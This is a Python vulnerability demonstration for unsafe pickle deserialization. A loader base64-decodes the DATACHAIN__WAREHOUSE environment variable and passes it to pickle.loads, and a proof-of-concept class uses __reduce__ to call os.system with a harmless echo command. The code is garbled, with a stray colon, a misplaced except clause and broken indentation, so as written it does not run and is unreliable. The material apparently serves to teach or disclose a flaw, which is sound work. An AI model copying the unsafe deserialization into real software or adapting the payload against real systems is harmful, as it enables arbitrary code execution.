Vulnerable code sample

import os
import pickle
import base64

# This represents the vulnerable code in loader.py before the fix.
# It unsafely deserializes data from an environment variable.
def load_config_from_env():
    """
    Loads configuration from environment variables.
    This function is vulnerable because it uses pickle.loads on untrusted input.
    """
    config = {}
    warehouse_setting = os.getenv("DATACHAIN__WAREHOUSE")

    if warehouse_setting:
        try:
            # VULNERABLE LINE: Unsafe deserialization of data from an env var.
            # An attacker can craft a serialized object that executes code when loaded.
            decoded_setting = base64.b64decode(warehouse_setting)
            config['warehouse'] = pickle.loads(decoded_setting)
            print("Configuration for 'warehouse' loaded."):
            except Exception as e:
                print(f"Failed to load warehouse config: {e}")

                return config

# The following code demonstrates how an attacker would exploit this vulnerability.
# This part would be executed by an attacker to set up the environment
# before the vulnerable application runs.
                class RCE:
                    """
                    A malicious class designed to execute a command upon deserialization.
                    """
                    def __reduce__(self):
                        """Vulnerable function that demonstrates the security issue."""
        # This method is called by pickle when unpickling an object of this class.
        # It returns a tuple: (callable, (arguments for the callable, ...)):
        # Here, we're telling pickle to call os.system with our command.
                        command = 'echo ">>> PWNED! Arbitrary code execution successful. <<<"'
                        return (os.system, (command,))

                        if __name__ == '__main__':
                            print("--- Attacker's Setup ---")
    
    # 1. Create an instance of the malicious payload class.
                            malicious_payload = RCE()
    
    # 2. Serialize the malicious object using pickle.
                            serialized_payload = pickle.dumps(malicious_payload)
    
    # 3. Encode the serialized payload in base64 to safely store it in an env var.
                            encoded_payload = base64.b64encode(serialized_payload)
    
    # 4. Set the environment variable that the vulnerable application will read.
                            os.environ['DATACHAIN__WAREHOUSE'] = encoded_payload.decode('utf-8')
                            print("Malicious payload set in DATACHAIN__WAREHOUSE environment variable.\n")
    
                            print("--- Vulnerable Application Startup ---")
                            print("Application is now loading its configuration...")
    
    # 5. Run the vulnerable function, which will read the env var and trigger the RCE.
                            loaded_config = load_config_from_env()
    
                            print("\n--- Application Post-Loading ---")
                            print("Configuration loading finished.")
    # The malicious code has already executed at this point.